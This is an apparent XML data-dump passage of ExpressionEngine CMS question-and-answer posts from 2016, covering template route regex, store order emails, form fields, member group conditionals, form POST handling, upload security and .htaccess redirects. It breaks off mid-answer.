  <row Id="35490" PostTypeId="1" CreationDate="2016-02-06T19:32:15.290" Score="0" ViewCount="143" Body="&lt;p&gt;What's the syntax for excluding phrases from segments in template routes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say I have a template group called &quot;fruit.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template A with the template route: &quot;/fruit/{fruit:alpha-dash}&quot; and that route matches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/fruit/apples&lt;/li&gt;&#xA;&lt;li&gt;/fruit/oranges&lt;/li&gt;&#xA;&lt;li&gt;/fruit/tomatoes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I'd like to exclude just tomatoes from using template A so that it can match template B which is the next sequential template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the regex look like to exclude tomatoes?&lt;/p&gt;&#xA;" OwnerUserId="2703" LastActivityDate="2016-04-21T19:55:29.620" Title="Template Route Regex" Tags="|template-routes|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35491" PostTypeId="2" ParentId="35490" CreationDate="2016-02-07T01:32:22.060" Score="0" Body="&lt;p&gt;There is a top-down order for how template routes are processed. So what you need to do is create your &lt;code&gt;tomato&lt;/code&gt; route rule, and make sure it is &lt;strong&gt;above&lt;/strong&gt; your regular &lt;code&gt;alpha_dash&lt;/code&gt; rule. I couldn't find a simple solution for ignoring specific segments in a regex rule using the carat and didn't bother testing further; EE would yell at me for using some regex modifiers and such. The other way around was easier. Here's what worked for me in your example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of a couple of rules in your &lt;code&gt;My site -&amp;gt; CP Home -&amp;gt; Design -&amp;gt; Template Manager -&amp;gt; Template Route Manager&lt;/code&gt; that works for your exmample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Group     Template          Route                            Segment Req&#xA;-------------------------------------------------------------------------&#xA;fruit     special_fruit     /fruit/{fruit:regex[(tomato)]}   Yes&#xA;fruit     regular_fruit     /fruit/{fruit:alpha_dash}        Yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will match &lt;code&gt;/fruit/tomato&lt;/code&gt; to your &lt;code&gt;special_fruit&lt;/code&gt; template. When that doesn't match (say &lt;code&gt;/fruit/apples&lt;/code&gt;), it tries the next rule and will match and render your &lt;code&gt;regular_fruit&lt;/code&gt; template.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2016-02-07T01:39:01.173" LastActivityDate="2016-02-07T01:39:01.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35493" PostTypeId="1" CreationDate="2016-02-07T21:19:57.487" Score="0" ViewCount="43" Body="&lt;p&gt;Is it possible to supply dynamic BCC's on Exp:resso store order confirmation emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an ecommerce site that tutors can list courses on, and students can buy courses. When a course is purchased the student gets an email, but I need to notify the tutor too (which is an EE member).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got as far as writing an extension that taps into &lt;strong&gt;store_order_complete_end&lt;/strong&gt;, which means I have access to the &lt;strong&gt;Store\Model\Order&lt;/strong&gt; and &lt;strong&gt;Store\Model\Email&lt;/strong&gt; objects... but I'm not sure what to do from there. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2016-02-07T21:25:36.587" Title="Exp:resso Store Send Order Emails To Different Email Addresses" Tags="|expresso-store|expresso|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35494" PostTypeId="2" ParentId="35493" CreationDate="2016-02-07T21:25:36.587" Score="1" Body="&lt;p&gt;Oh it appears it is very straightforward. So in the extension grab the store emails (I'm just getting all for development) then you can set the BCC attribute as per below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$emails = Store\Model\Email::whereIn('id', [1])-&amp;gt;where('enabled', 1)-&amp;gt;get();&#xA;foreach ($emails as $email) {&#xA;    # For my IDE&#xA;    $email instanceof Store\Model\Email;&#xA;    $email-&amp;gt;setAttribute(&quot;bcc&quot;, &quot;myaddress@mydomain.com&quot;);&#xA;    $sent = ee()-&amp;gt;store-&amp;gt;email-&amp;gt;send($email, $order);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2016-02-07T21:25:36.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35496" PostTypeId="1" AcceptedAnswerId="35498" CreationDate="2016-02-08T10:11:04.150" Score="0" ViewCount="36" Body="&lt;p&gt;In Freeform I use the loop to display all my fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:all_form_fields}&#xA;    &amp;lt;dt&amp;gt;&#xA;        &amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&#xA;        &amp;lt;!-- place holder for ajax errors--&amp;gt;&#xA;        &amp;lt;div class=&quot;error_message&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        {freeform:field_output}&#xA;    &amp;lt;/dd&amp;gt;&#xA;{/freeform:all_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can I display an asterix beside fields which are required?&#xA;Form called and required fields displayed like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form:id=&quot;ajax_form&quot;&#xA;    form:class=&quot;form-horizontal&quot;&#xA;    form_name=&quot;enq_form&quot;&#xA;    required=&quot;business_name|business_category|contact_person|email_address&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7062" LastActivityDate="2016-02-08T12:24:57.753" Title="Freeform Pro - display reqired fields" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35497" PostTypeId="1" AcceptedAnswerId="35500" CreationDate="2016-02-08T11:59:21.200" Score="0" ViewCount="41" Body="&lt;p&gt;I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}&#xA;        &amp;lt;div class=&quot;profile&quot;&amp;gt;&#xA;            {member_group}&#xA;            {if member_group == &quot;Super Admins&quot;}You are a Super Admin{/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Member group is being displayed correctly, but it doesn't work in conditional. I would appreciate if anyone can explain what I'm doing wrong or how else to add a member group specific content.&lt;/p&gt;&#xA;" OwnerUserId="7066" LastEditorUserId="7066" LastEditDate="2016-02-08T14:09:31.473" LastActivityDate="2016-02-08T14:23:17.083" Title="{member_group} not working in conditional" Tags="|templates|members|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35498" PostTypeId="2" ParentId="35496" CreationDate="2016-02-08T12:24:57.753" Score="0" Body="&lt;p&gt;You've hard-coded the required fields in the template by including them in the template tag, so why not hard code it in your loop?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;&#xA;    {freeform:field_label}&#xA;    {if freeform:field_name == &quot;business_name&quot; &#xA;        || freeform:field_name == &quot;business_category&quot;&#xA;        || freeform:field_name == &quot;contact_person&quot; &#xA;        || freeform:field_name == &quot;email_address&quot;}&#xA;        &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't say it was a great solution! In the docs there's no mention of freeform:field_required variable :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd strongly recommend you use the &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/composer&quot; rel=&quot;nofollow&quot;&gt;Composer&lt;/a&gt; though - especially as you have the Pro version. It is really great, and you can create a template that is fully flexible for any type of form your editor/admin wants to create. And it has a variable to detect if a field is required. So nothing is hard coded in the template!  &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/composer/#examples&quot; rel=&quot;nofollow&quot;&gt;See an example here&lt;/a&gt;, or you want more example code, raise another question.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-08T12:24:57.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35500" PostTypeId="2" ParentId="35497" CreationDate="2016-02-08T14:23:17.083" Score="0" Body="&lt;p&gt;OK I've figured it out, so {member_group} displays the name of the member group, but placed in conditional it requires an ID of the member group. Works now!&lt;/p&gt;&#xA;" OwnerUserId="7066" LastActivityDate="2016-02-08T14:23:17.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35502" PostTypeId="1" CreationDate="2016-02-08T16:23:45.790" Score="1" ViewCount="15" Body="&lt;p&gt;Using DevDemon Subscriptions v 1.6.&#xA;Anytime that I go to &quot;logs&quot; and click on the ID of an entry to see if there are more details I get a screen that says &quot;The requested module page could not be found.&quot;.&#xA;Are there more details to be found?  This happens on every log entry.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/q1YoY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q1YoY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2016-02-08T16:23:45.790" Title="DevDemon Subscriptions: Cannot view details of transaction in Logs" Tags="|devdemon-subscriptions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35503" PostTypeId="1" CreationDate="2016-02-08T17:46:21.300" Score="0" ViewCount="77" Body="&lt;p&gt;I'm looking for the best way to secure files uploaded via a front-end form into a standard &lt;em&gt;File&lt;/em&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need users to be able to upload a file, but I only want members of certain member groups to be able to access those files from the control panel. I also need the files to not be generally accessible from the front end.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I put an upload destination above web root.&lt;/li&gt;&#xA;&lt;li&gt;If so, can those files still be accessed via the Control Panel?&lt;/li&gt;&#xA;&lt;li&gt;Is there any way those files could be made available on the front end to members of authorized groups?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, is there another better way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3522" LastActivityDate="2016-06-18T21:57:19.640" Title="How to secure uploaded files" Tags="|file-uploads|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35504" PostTypeId="1" AcceptedAnswerId="35537" CreationDate="2016-02-08T18:33:29.433" Score="0" ViewCount="405" Body="&lt;p&gt;I am a newbie to Expression Engine, and am trying to help a local nonprofit with an EE site that was hacked. The details of the hack are unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their admin page was at a specific URL which now no longer renders the administrative login page. Instead, it renders the site's &quot;home&quot; page (root path.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, &lt;code&gt;/main&lt;/code&gt;, the admin page, redirects to &lt;code&gt;/main/index.php&lt;/code&gt;, which then renders the same content as '/' would have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - where would you advise me to look for the start of the redirect chain, or to figure out why &lt;code&gt;main/index.php&lt;/code&gt; simply renders what &lt;code&gt;/index.php&lt;/code&gt; does?&lt;/p&gt;&#xA;" OwnerUserId="7070" LastActivityDate="2016-02-11T15:38:00.567" Title="Expression Engine admin page redirects to index view" Tags="|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35506" PostTypeId="1" AcceptedAnswerId="37572" CreationDate="2016-02-08T20:10:24.670" Score="0" ViewCount="46" Body="&lt;p&gt;I'm aiming to send a post dated email through postmaster. I'm (successfully)  sending out emails though a custom addon, by triggering a hook inside the custom addon and passing some data through the hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm trying to send out a post dated email in the same fashion and I'm not sure if it's the 'correct' way to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I've set up a hook in postmaster, this is being triggered and it's also queuing the email in the &lt;strong&gt;exp_postmaster_queue&lt;/strong&gt; table. In this table it's storing the &lt;strong&gt;to_name&lt;/strong&gt;, the &lt;strong&gt;to_email&lt;/strong&gt; and even a fully parsed message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I trigger the ping url it removes the email from the queue and chucks it into the the mailbox - however the message fails to send as it's trying to send to the non parsed email variable (and the message also contains non-parsed variables) - &lt;strong&gt;{hook:participant_email}&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if sending a post dated email is possible through a hook, and if so how can I parse variables through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data seems like it's all in the queue table, so it must be reparsing (I started to pick the addon apart at which point I got a touch stuck).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2016-06-10T13:00:09.337" Title="Can postmaster send post dated emails through a hook?" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35507" PostTypeId="1" AcceptedAnswerId="35513" CreationDate="2016-02-08T21:56:07.757" Score="0" ViewCount="224" Body="&lt;p&gt;I am trying to access PHP's $_POST array from a template, using PHP within the template and have the expiration_date of the entry updated. The $_POST is empty, although the form is submitting to the same URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:form channel=&quot;auction&quot; return=&quot;auction/new&quot;}  &#xA;    &amp;lt;input name=&quot;title&quot; type=&quot;text&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;auction_description&quot; type=&quot;text&quot; /&amp;gt;&#xA;    &amp;lt;input name=&quot;auction_price&quot; type=&quot;text&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA; {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the HTML of the Form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;publishForm&quot; method=&quot;post&quot; action=&quot;http://123.123.123.123/auction/new&quot;  enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://123.123.123.123/auction/new&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;auction/new&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;auction/new&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;8&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;auction/new&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input name=&quot;title&quot; type=&quot;text&quot; /&amp;gt;&#xA;&amp;lt;input name=&quot;auction_description&quot; type=&quot;text&quot; /&amp;gt;&#xA;&amp;lt;input name=&quot;auction_price&quot; type=&quot;text&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the PHP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!empty($_POST['title'])) {&#xA;ee()-&amp;gt;db-&amp;gt;update(&#xA;    'exp_channel_titles',&#xA;    array(&#xA;        'expiration_date'  =&amp;gt; '123'&#xA;    ),&#xA;    array(&#xA;        'entry_date' =&amp;gt; $_POST['entry_date']&#xA;    )&#xA;);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.htacess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The PHP parse stage is set to Input and the template's name is the same as the channel's action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be highly appreciated. I've been struggling with this for almost a week now.&lt;/p&gt;&#xA;" OwnerUserId="7071" LastActivityDate="2016-02-09T20:28:31.187" Title="$_POST empty but transferred" Tags="|ee2|php|forms|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35508" PostTypeId="2" ParentId="35503" CreationDate="2016-02-08T22:08:37.530" Score="0" Body="&lt;p&gt;Short and sweet: &lt;a href=&quot;https://devot-ee.com/add-ons/linklocker&quot; rel=&quot;nofollow&quot;&gt;Link Locker&lt;/a&gt; Does everything you want and more.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-08T22:08:37.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35509" PostTypeId="2" ParentId="35478" CreationDate="2016-02-09T12:47:02.550" Score="0" Body="&lt;p&gt;Even if an existing addon can do this, what you want seems so specialised to me that you may be better off with a module/extensions combination. I think you would need a module to hold the group/member combinations. And I think you will need more than one extension. The extensions would use the group/member combinations to control who the logged-in admin can register, edit and delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For security, access to the module CP would have to be limited, possibly to superadmins, otherwise your intention to limit admins to the groups they can manage would be insecure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whichever way you look at this, there is quite a bit of coding required, because registration, deletion and editing all have different extension hooks that would have to be brought into play, and assigning/unassigning multiple users to the group/member combinations could be a challenge on a site with many members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;Here's another issue - there would have to be a way to prevent other admins from re-assigning members to their own groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a minefield to me.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2016-02-09T16:48:34.343" LastActivityDate="2016-02-09T16:48:34.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35510" PostTypeId="1" CreationDate="2016-02-09T17:10:39.850" Score="0" ViewCount="49" Body="&lt;p&gt;I am using Expresso Store V1 and I would like the Shipping Same as Billing to default to unticked. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                {field:shipping_same_as_billing} Same as Billing Details&#xA;            &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(function() {&#xA;            $('#shipping_same_as_billing').change(function() {&#xA;                if (this.checked) {&#xA;                    $('#shipping_details_drawer').slideUp();&#xA;                } else {&#xA;                    $('#shipping_details_drawer').slideDown();&#xA;                }&#xA;            });&#xA;            if ($('#shipping_same_as_billing').is(':checked')) {&#xA;                $('#shipping_details_drawer').hide();&#xA;            }&#xA;        });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="437" LastActivityDate="2016-06-15T02:49:14.027" Title="Can I have the Shipping Same as Billing default to unchecked?" Tags="|expresso-store|expresso|shipping|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35511" PostTypeId="2" ParentId="35457" CreationDate="2016-02-09T20:09:44.163" Score="2" Body="&lt;p&gt;So I'm trying out the Solspace User plugin: &lt;a href=&quot;https://solspace.com/expressionengine/user&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/user&lt;/a&gt;.  If any other member plugins come online with EE3 I'll be sure to post it.  I'm not sure solspace does all that I need ie custom field types for members but I think it'll provide some good member management benefits over the default EE system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do wish EE would add some more tools and power to the member management system. Annnywho.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2016-02-09T20:09:44.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35513" PostTypeId="2" ParentId="35507" CreationDate="2016-02-09T20:28:31.187" Score="0" Body="&lt;p&gt;It may be posting to the same URL, that is true - but when you end up back at that URL it's actually the result of a post-submission redirect, hence your &lt;code&gt;POST&lt;/code&gt; array being empty. (The presence of an &lt;code&gt;ACT&lt;/code&gt; parameter in the &lt;code&gt;POST&lt;/code&gt; request triggers the actual form submission process inside EE, which then performs the redirect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really want to do is write a simple &lt;a href=&quot;https://docs.expressionengine.com/latest/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt; which uses the &lt;a href=&quot;https://docs.expressionengine.com/latest/development/extension_hooks/model/channel-entry/index.html#id5&quot; rel=&quot;nofollow&quot;&gt;before_channel_entry_save&lt;/a&gt; (or if you're on EE2, &lt;a href=&quot;https://docs.expressionengine.com/latest/development/extension_hooks/module/channel_form/index.html#id4&quot; rel=&quot;nofollow&quot;&gt;channel_form_submit_entry_start&lt;/a&gt;) hook to look at the data (using the hook's passed data, not &lt;code&gt;$_POST&lt;/code&gt;) and do what you need to do.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2016-02-09T20:28:31.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35514" PostTypeId="1" CreationDate="2016-02-09T22:40:51.957" Score="0" ViewCount="516" Body="&lt;p&gt;I have joined a charity and am responsible for updating their website. I have never used Expression Engine before only Wordpress sites for blogs, and I don't know how to post a youtube video on one of the web pages. Please help! Also if there is an Expression Engine guide I can get my hands on somehow that would be really useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Michelle&lt;/p&gt;&#xA;" OwnerUserId="7076" LastActivityDate="2016-06-12T22:35:00.987" Title="How do I post a youtube video?" Tags="|video|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35515" PostTypeId="1" CreationDate="2016-02-10T05:20:13.707" Score="0" ViewCount="523" Body="&lt;p&gt;I have a channel with several entry fields.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FieldType 1&#xA;FieldType 2&#xA;FieldType 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to reorder them in the CP so when a user creates a new entry the fieldtypes follow a different order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FieldType 3&#xA;FieldType 1&#xA;FieldType 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE2, I only had to change the &quot;order&quot; for each entry field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find this option in EE3 anywhere.&#xA;That said, how can I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2017-09-20T11:35:29.037" Title="Reorder Entry Fields in Channel" Tags="|ee3|custom-order-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35516" PostTypeId="2" ParentId="35515" CreationDate="2016-02-10T05:29:03.370" Score="1" Body="&lt;p&gt;I found the answer (after a little digging around).  It's still possible to reorder the entry fields, but it is now found under the channel manager in 'layouts'.  :)&lt;/p&gt;&#xA;" OwnerUserId="7079" LastActivityDate="2016-02-10T05:29:03.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35517" PostTypeId="2" ParentId="35510" CreationDate="2016-02-10T08:59:54.040" Score="0" Body="&lt;p&gt;As example from the &lt;a href=&quot;https://www.exp-resso.com/docs/v1/checkout_tag.html#shipping_same_as_billing&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;, don't use the default tag, but the actual rendered html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;checkbox&quot; id=&quot;shipping_same_as_billing&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; {shipping_same_as_billing_checked} /&amp;gt;&#xA;  Same as Billing Details&#xA;    &amp;lt;/label&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to have the hidden one, so when the checkbox is unchecked it still sends a value with the form. So the second input (the checkbox one) has the default value of 0 so unchecked by default.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-02-10T08:59:54.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35519" PostTypeId="1" CreationDate="2016-02-10T15:47:19.230" Score="0" ViewCount="21" Body="&lt;p&gt;I updated the initiatives on our website to say 2016 and now all the old links  to our current initiatives that were posted or shared (web, email, social etc.) in the last year is now broken. How cab I remedy this? Can I create a forward for the old link? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2016-04-30T12:22:24.583" Title="Can I create a forward for the old link?" Tags="|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35520" PostTypeId="1" CreationDate="2016-02-10T16:23:25.750" Score="0" ViewCount="104" Body="&lt;p&gt;I know with EE2 there was a great addon by &lt;a href=&quot;https://devot-ee.com/developers/viget-labs&quot; rel=&quot;nofollow&quot;&gt;@Viget Labs&lt;/a&gt; called &lt;a href=&quot;https://devot-ee.com/add-ons/single-entry&quot; rel=&quot;nofollow&quot;&gt;Single Entry&lt;/a&gt; that limited entries in channels to a single use. Is there nothing for EE3 that can accomplish this easily? It's amazing to me that this hasn't been absorbed by Ellis Lab yet as a core feature in the channel settings.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-06-03T11:36:41.490" Title="ExpressionEngine 3 Single Entry" Tags="|add-on|ee3|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35521" PostTypeId="2" ParentId="35519" CreationDate="2016-02-10T16:28:03.760" Score="0" Body="&lt;p&gt;Well, there are a variety of ways to make this happen. To give you the absolute best answer, you'd really need to give more information on your EE setup in general. It would've helped if you had given an example of the URL you need redirected as well. Here is a simple solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to edit your &lt;code&gt;.htaccess&lt;/code&gt; file. It lives in the web root of your server. &lt;strong&gt;Warning:&lt;/strong&gt; If you are not a developer, it is recommended that you get someone more tech savvy to do this for you. One mistake in this file will render your website unavailable until it is fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an example URL, such as &lt;code&gt;www.example.com/initiatives/2015/&lt;/code&gt;, and you want to permanently redirect it to &lt;code&gt;www.example.com/initiatives/2016/&lt;/code&gt;, under most cases a RedirectMatch rule will work. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 (?i)^/initiatives/2015/?$ http://www.example.com/initiatives/2016/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will match URN's that match &lt;code&gt;/initiatives/2015/&lt;/code&gt; and permanently redirect them to 